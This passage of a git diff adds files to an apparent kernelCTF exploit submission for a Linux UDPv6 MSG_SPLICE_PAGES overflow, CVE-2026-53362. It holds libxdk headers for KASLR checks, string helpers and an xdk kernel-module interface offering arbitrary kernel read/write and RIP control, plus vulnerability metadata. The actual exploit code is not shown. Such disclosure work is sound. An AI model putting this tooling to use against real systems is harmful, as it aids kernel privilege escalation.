* Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +#include + +/** + * @defgroup util_classes Utility Classes + * @brief Helper classes for various utilities. + */ + +/** + * @ingroup util_classes + * @brief Checks if the provided address is a valid KASLR base address. + * + * @param kbase_addr The address to check. + * @return True if the address is a valid KASLR base, false otherwise. + */ +bool is_kaslr_base(uint64_t kbase_addr); + +/** + * @ingroup util_classes + * @brief Checks if the provided address is a valid KASLR base address. + * + * @param kbase_addr The address to check. + * @return The checked KASLR base address if valid. + */ +uint64_t check_kaslr_base(uint64_t kbase_addr); + +/** + * @ingroup util_classes + * @brief Checks if the provided address is a valid kernel heap pointer. + * + * @param heap_leak The address to check. + * @return The checked kernel heap pointer if valid. + */ +uint64_t check_heap_ptr(uint64_t heap_leak); \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/str.h b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/str.h new file mode 100755 index 000000000..8091de118 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/str.h @@ -0,0 +1,101 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +#include +#include +#include +#include + +/** + * @defgroup util_classes Utility Classes + * @brief Helper classes for various utilities. + */ + +/** + * @ingroup util_classes + * @brief Formats a string using a format string and va_list arguments. + * @param format The format string. + * @param args The va_list containing the arguments. + * @return The formatted string. + */ +std::string format_str(const char* format, va_list args); + +/** + * @ingroup util_classes + * @brief Formats a string using a format string and a variadic number of arguments. + * @tparam Args The types of the arguments. + * @param format The format string. + * @param args The arguments to format. + */ +template +std::string format_str(const char* format, const Args&... args) { + int buffer_size = std::snprintf(nullptr, 0, format, args...) + 1; // +1 for null terminator + std::string result(buffer_size - 1, '\0'); + std::snprintf(result.data(), buffer_size, format, args...); + return result; +} + +/** + * @ingroup util_classes + * @brief Concatenates a vector of strings with a delimiter. + * @param delimiter The string to use as a delimiter. + * @param strings The vector of strings to concatenate. + */ +std::string str_concat(const std::string& delimiter, const std::vector& strings); + +/** + * @ingroup util_classes + * @brief Replaces all occurrences of a substring within a string. + * @param str The string to perform replacements on. + * @param from The substring to replace. + * @param to The string to replace with. + */ +void replace(std::string& str, const std::string& from, const std::string& to); + +/** + * @ingroup util_classes + * @brief Converts a string to lowercase in-place. + * @param str The string to convert. + */ +void tolower(std::string& str); + +/** + * @ingroup util_classes + * @brief Splits a string by a delimiter. + * @param str The string to split. + * @param delimiter The delimiter to split by. + */ +std::vector split(const std::string& str, const std::string& delimiter); + +/** + * @ingroup util_classes + * @brief Checks if a string contains a specific pattern. + * @param str The string to search within. + * @param pattern The pattern to search for. + * @return True if the string contains the pattern, false otherwise. + */ +bool contains(const std::string& str, const std::string& pattern); + +/** + * @ingroup util_classes + * @brief Checks if a string starts with a specific prefix. + * @param str The string to check. + * @param prefix The prefix to check for. + * @return True if the string starts with the prefix, false otherwise. + */ +bool startsWith(const std::string& str, const std::string& prefix); \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/xdk_device/include/xdk_device.h b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/xdk_device/include/xdk_device.h new file mode 100755 index 000000000..f0e06170d --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/xdk_device/include/xdk_device.h @@ -0,0 +1,130 @@ +/* SPDX-License-Identifier: GPL-2.0 */ +/* Copyright 2024 Google LLC + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. +*/ + +#pragma once + +#include +#include + +#define DEVICE_NAME "xdk" + +typedef struct xdk_message { + uint64_t length; + uint8_t* data; + union { + uint64_t kernel_addr; + void* kernel_ptr; + }; + uint8_t gfp_account; +} xdk_message; + +enum xdk_cmd { ALLOC_BUFFER = 0x1000, KFREE, KASLR_LEAK, WIN_TARGET, RIP_CONTROL, ARB_READ, ARB_WRITE, INSTALL_KPROBE, PRINTK, SYM_ADDR, REMOVE_KPROBE, GET_RIP_CONTROL_RECOVERY, CHECK_WIN }; + +enum xdk_error { + SUCCESS = 0, + ERROR_GENERIC = 0x1000, + ERROR_UNKNOWN_COMMAND = 0x1001, + ERROR_ALLOC = 0x1002, + ERROR_COPY_FROM_USER_STRUCT = 0x1003, + ERROR_COPY_FROM_USER_DATA = 0x1004, + ERROR_COPY_TO_USER_STRUCT = 0x1005, + ERROR_COPY_TO_USER_DATA = 0x1006, + ERROR_UNKNOWN_SYMBOL = 0x1007, +}; + +enum regs_to_set: unsigned long { + RAX = 0x000001, + RBX = 0x000002, + RCX = 0x000004, + RDX = 0x000008, + RSI = 0x000010, + RDI = 0x000020, + RBP = 0x000040, + RSP = 0x000080, + R8 = 0x000100, + R9 = 0x000200, + R10 = 0x000400, + R11 = 0x000800, + R12 = 0x001000, + R13 = 0x002000, + R14 = 0x004000, + //R15 = 0x008000, + ALL = 0xffffffff, +}; + +enum rip_action { + JMP_RIP = 0x1, // jmp r15 (r15 == rip_control_args.rip) + CALL_RIP = 0x2, // call r15 (r15 == rip_control_args.rip) + RET = 0x3, + NONE = 0x4, +}; + +typedef struct { + // 0x00 + uint64_t rax, rbx, rcx, rdx; + // 0x20 + uint64_t rsi, rdi, rbp, rsp; + // 0x40 + uint64_t r8, r9, r10, r11; + // 0x60 + uint64_t r12, r13, r14, r15; + // 0x80 + uint64_t rip; + // 0x88 + uint64_t regs_to_set; + // 0x90 + uint64_t action; +} rip_control_args; + +enum kprobe_log_mode { + SILENT = 0x0, + ENTRY = 0x1, + ENTRY_CALLSTACK = 0x2, + RETURN = 0x4, + RETURN_CALLSTACK = 0x8, + CALL_LOG = 0x10, + ENTRY_WITH_CALLSTACK = ENTRY | ENTRY_CALLSTACK, + RETURN_WITH_CALLSTACK = RETURN | RETURN_CALLSTACK +}; + +typedef struct { + volatile uint64_t entry_size; + volatile uint64_t arguments[6]; + volatile uint64_t return_value; + volatile uint64_t call_stack_size; + volatile uint8_t call_stack[1]; +} kprobe_log_entry; + +typedef struct { + volatile uint64_t struct_size; + volatile uint64_t entry_count; + volatile uint64_t next_offset; // next writable offset + volatile uint64_t missed_logs; // number of logs could not be written to due insufficient buffer space + kprobe_log_entry entries[]; +} kprobe_log; + +typedef struct { + char function_name[128]; + pid_t pid_filter; + uint8_t arg_count; + uint8_t log_mode; // kprobe_log_mode + char log_call_stack_filter[128]; + kprobe_log* logs; + void* installed_kprobe; +} kprobe_args; + +typedef struct { + char symbol_name[128]; + uint64_t symbol_addr; +} sym_addr; + diff --git a/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/xdk_device/xdk_device.h b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/xdk_device/xdk_device.h new file mode 100755 index 000000000..6fc8dade0 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/xdk_device/xdk_device.h @@ -0,0 +1,335 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +#include +#include +#include +#include +#include +#include +#include +#include "./include/xdk_device.h" +#include + +#define DEVICE_PATH "/dev/xdk" + +/** + * @defgroup xdk_device_classes XDK Device Classes + * @brief Classes for XDK device interaction. + */ + +/** + * @ingroup xdk_device_classes + * @brief Enum representing the possible actions for RIP control. + */ +enum class RipAction { Jmp = 0x1, Call = 0x2, Ret = 0x3 }; + +/** + * @ingroup xdk_device_classes + * @brief Structure to hold information about a kernel function call log. + */ +struct CallLog { + /** @brief The name of the function that was called. */ + std::string function_name; + + /** @brief A vector of arguments passed to the function. */ + std::vector arguments; + + /** @brief The return value of the function. */ + uint64_t return_value; + + /** @brief The call stack at the time of the function call. */ + std::string call_stack; + + std::string GetSummary(); +}; + +/** + * @ingroup xdk_device_classes + * @class XdkDevice + * @brief Manages communication and data for the XDK device. + */ +class XdkDevice; + +/** + * @ingroup xdk_device_classes + * @class Kprobe + * @brief Class representing a Kprobe in the kernel. + */ +class Kprobe { + kprobe_args args_; + const size_t logs_size = 16 * 4096; +public: + /** + * @brief Constructor for the Kprobe class. + * @param function_name The name of the function to probe. + * @param arg_count The number of arguments to log (default is 0). + * @param log_mode The logging mode (default is ENTRY_WITH_CALLSTACK | RETURN). + * @param log_call_stack_filter An optional filter for the call stack (default is nullptr). + */ + Kprobe(const char* function_name, uint8_t arg_count = 0, + enum kprobe_log_mode log_mode = (kprobe_log_mode)(ENTRY_WITH_CALLSTACK | RETURN), + const char* log_call_stack_filter = nullptr); + + /** + * @brief Retrieves the call logs for this Kprobe. + * @param clear_log Whether to clear the log after retrieving (default is + * false). + * @return A vector of CallLog structures. + */ + std::vector GetCallLogs(bool clear_log = false); + + /** + * @brief Prints the call logs for this Kprobe to the console. + * @param clear_log Whether to clear the log after printing (default is false). + */ + void PrintCallLog(bool clear_log = false); + + /** + * @brief Destructor for the Kprobe class. + */ + ~Kprobe(); + + friend class XdkDevice; +}; + +/** + * @ingroup xdk_device_classes + * @class XdkDevice + * @brief Class representing the interface to the xdk kernel module. + */ +class XdkDevice { + /** @brief File descriptor for the xdk kernel module. */ + int fd_; + + /** @brief The default logging mode for Kprobes. */ + enum kprobe_log_mode default_log_mode_ = (kprobe_log_mode)(ENTRY_WITH_CALLSTACK | RETURN); + + /** + * @brief A set of pointers to the Kprobe objects that have been successfully installed + * in the kernel. This is used to keep track of probes that need to be removed + * when the XdkDevice object is closed or destroyed. + */ + std::set installed_probes_; + + /** + * @brief Converts the provided RIP action and register map into a `rip_control_args` structure. + * This structure is used to communicate with the kernel module for RIP control. + * @param action The desired RIP action (Jump, Call, or Return). + * @param regs A map of registers to set before performing the RIP action. + * @return A `rip_control_args` structure populated with the provided action and registers. + */ + rip_control_args ConvertRipArgs( + RipAction action, const std::map& regs = {}); + + /** + * @brief Calls a raw ioctl command on the xdk device. + * @param cmd The command to call. + * @param arg The argument to the command. + * @return The error code returned by the ioctl. + * @throws ExpKitError if the ioctl returns an unknown error code. + */ + xdk_error CallRaw(enum xdk_cmd cmd, void* arg) const; + +public: + /** + * @brief Checks if the xdk device is available. + * @return True if the device exists, false otherwise. + */ + static bool IsAvailable(); + + /** + * @brief Constructor for the XdkDevice class. + * @throws ExpKitError if the xdk device cannot be opened. + */ + XdkDevice(); + + /** + * @brief Calls a xdk command and checks the error code. + * @param cmd The command to call. + * @param arg The argument to the command. + * @param expected_error The expected error code if the command is not + * successful. + * @throws ExpKitError if the command was not successful and did not return + * with expected_error. + */ + xdk_error Call(enum xdk_cmd cmd, void* arg, xdk_error expected_error) const; + + /** + * @brief Calls a xdk command expecting success. + * @param cmd The command to call. + * @param arg The argument to the command. + * @throws ExpKitError if the command was not successful. + */ + void Call(enum xdk_cmd cmd, void* arg) const; + + /** + * @brief Allocates a buffer in kernel space. + * @param size The size of the buffer to allocate. + * @param gfp_account Whether to account for GFP_KERNEL allocations. + * @return The kernel address of the allocated buffer. + */ + uint64_t AllocBuffer(uint64_t size, bool gfp_account) const; + + /** + * @brief Allocates a buffer in kernel space and copies data into it. + * @param data The data to copy into the buffer. + * @param gfp_account Whether to account for GFP_KERNEL allocations. + * @return The kernel address of the allocated buffer. + */ + uint64_t AllocBuffer(const std::vector& data, bool gfp_account) const; + + /** + * @brief Reads data from kernel space. + * @param ptr The kernel address to read from. + * @param size The number of bytes to read. + */ + std::vector Read(uint64_t ptr, uint64_t size) const; + + /** + * @brief Writes data to kernel space. + * @param ptr The kernel address to write to. + * @param data The data to write. + */ + void Write(uint64_t ptr, const std::vector& data) const; + + /** + * @brief Frees a kernel buffer. + * @param ptr The kernel address of the buffer to free. + */ + void Kfree(uint64_t ptr) const; + + /** + * @brief Prints a message to the kernel log. + * @param msg The message to print. + */ + void Printk(const char* msg) const; + + /** + * @brief Gets the KASLR base address. + * @return The KASLR base address. + */ + uint64_t KaslrLeak(); + + /** + * @brief Gets the address of the win target function. + * @return The address of the win target function. + * @details If the win target is called (e.g. via ROP chain), then it sets a + * win flag in the kernel which can be checked with the CheckWin() function. + */ + uint64_t WinTarget(); + + /** + * @brief Gets the address of a kernel symbol if it exists in kallsyms. + * @param name The name of the symbol. + * @return An optional containing the address of the symbol if found, otherwise + * an empty optional. + */ + std::optional SymAddrOpt(const char* name); + + /** + * @brief Gets the address of a kernel symbol if it exists in kallsyms. + * @param name The name of the symbol. + * @throws ExpKitError if the symbol was not found in kallsyms. + * @return The address of the symbol. + */ + uint64_t SymAddr(const char* name); + + /** + * @brief Controls the RIP and other registers in the kernel. + * @param args The arguments for controlling the RIP and registers. + */ + void RipControl(const rip_control_args& args); + + /** + * @brief Controls the RIP and other registers in the kernel. + * @param action The action to perform (Jump, Call, or Return). + * @param regs A map of registers to set and their values. + */ + void RipControl(RipAction action, + const std::map& regs = {}); + + /** + * @brief Calls a kernel function at a specific address (with the "call" asm + * call). + * @param addr The address of the function to call. + * @param regs A map of registers to set before the call. + */ + void CallAddr(uint64_t addr, const std::map& regs = {}); + + /** + * @brief Jumps to a specific address in the kernel (with the "jmp" asm call). + * @param addr The address to jump to. + * @param regs A map of registers to set before the jump. + */ + void JumpToAddr(uint64_t addr, const std::map& regs = {}); + + /** + * @brief Sets the RSP and performs a return ("mov rsp, ; ret"). + * @param new_rsp The new value for the RSP. + * @param regs A map of registers to set before the return. + */ + void SetRspAndRet(uint64_t new_rsp, + const std::map& regs = {}); + + /** + * @brief Gets the recovery address for RIP control. + * @return The recovery address. + */ + uint64_t GetRipControlRecoveryAddr(); + + /** + * @brief Installs a Kprobe in the kernel. + * @param function_name The name of the function to probe. + * @param arg_count The number of arguments to log (default is 0). + * @param log_mode The logging mode (default is ENTRY_WITH_CALLSTACK | RETURN). + * @param log_call_stack_filter An optional filter for the call stack (default + * is nullptr which means no call stack filtering, all calls are recorded). + * @return A pointer to the installed Kprobe object. + */ + Kprobe* InstallKprobe(const char* function_name, uint8_t arg_count = 0, + enum kprobe_log_mode log_mode = + (kprobe_log_mode)(ENTRY_WITH_CALLSTACK | RETURN), + const char* log_call_stack_filter = nullptr); + + /** + * @brief Removes an installed Kprobe. + * @param probe A pointer to the Kprobe object to remove. + */ + void RemoveKprobe(Kprobe* probe); + + /** + * @brief Prints the call logs for all installed Kprobes. + * @param clear_log Whether to clear the logs after printing (default is + * false). + */ + void PrintAllCallLog(bool clear_log = false); + + /** + * @brief Checks if the win target has been called. + */ + void CheckWin(); + + /** + * @brief Closes the connection to the xdk device and removes all installed + * Kprobes. + */ + void Close(); + + ~XdkDevice(); +}; \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/target_db.kxdb b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/target_db.kxdb new file mode 100755 index 000000000..b47d2547a Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/target_db.kxdb differ diff --git a/pocs/linux/kernelctf/CVE-2026-53362_lts/metadata.json b/pocs/linux/kernelctf/CVE-2026-53362_lts/metadata.json new file mode 100755 index 000000000..35a5e56e6 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-53362_lts/metadata.json @@ -0,0 +1,22 @@ +{ + "$schema": "https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids": ["exp522"], + "vulnerability": { + "summary": "UDPv6 MSG_SPLICE_PAGES fraggap accounting can write past the skb linear area into skb_shared_info", + "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=736b380e28d0480c7bc3e022f1950f31fe53a7c5", + "cve": "CVE-2026-53362", + "affected_versions": ["6.6-rc1 - 6.12.94"], + "requirements": { + "attack_surface": [], + "capabilities": [], + "kernel_config": ["CONFIG_IPV6"] + } + }, + "exploits": { + "lts-6.12.85": { + "uses": [], + "requires_separate_kaslr_leak": false, + "stability_notes": "95%" + } + } +} diff --git a/pocs/linux/kernelctf/CVE-2026-53362_lts/original.tar.gz b/pocs/linux/kernelctf/CVE-2026-53362_lts/original.tar.gz new file mode 100755 index 000000000..71822d49c Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-53362_lts/original.tar.gz differ